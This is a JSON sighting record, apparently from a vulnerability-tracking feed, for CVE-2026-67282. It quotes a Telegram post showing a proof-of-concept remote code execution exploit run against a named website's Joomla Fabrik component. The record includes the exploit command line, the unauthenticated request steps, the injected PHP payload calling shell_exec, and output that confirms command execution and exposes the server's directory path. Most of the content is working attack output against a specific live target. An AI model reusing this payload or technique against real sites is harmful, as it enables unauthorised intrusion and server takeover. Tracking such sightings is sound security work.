{"uuid": "01fab0e5-39d6-4aa7-ba81-0b871d2c6c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-67282", "type": "seen", "source": "https://t.me/captainsmok3r_official/416", "content": "proof (target: https://agritrade-bg.com/):\npython poc-CVE-2026-67282.py --host https://agritrade-bg.com/ --command \"pwd\"\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-67282\n  Type: RCE  |  Target: agritrade-bg.com:443\n============================================================\n\n[STEP 1] Locating a published Fabrik list and an element name...\n\n--- TARGET LIST ---\nlistid=4\nelement=app_products___subcategory\nurl=https://agritrade-bg.com/index.php?option=com_fabrik&view=list&listid=4\n---\n\n[STEP 2] Sending unauthenticated GET with request-controlled eval flag...\n\n--- INJECTED PAYLOAD (PHP) ---\nreturn file_put_contents('p_57f7e67c8accea9e.txt', shell_exec(hex2bin('707764')));\n---\n\n\n--- LIST RESPONSE ---\nHTTP 200 (74856 bytes) - the list renders normally; code execution is silent\n---\n\n[STEP 3] Reading the command output back over HTTP (out-of-band proof)...\n\n--- COMMAND OUTPUT (pwd) ---\n/home/agridare/public_html\n---\n\n\n============================================================\n  RESULT  : SUCCESS\n  EVIDENCE: RCE confirmed - command 'pwd' output: /home/agridare/public_html\n============================================================", "creation_timestamp": "2026-08-13T18:00:03.797835Z"}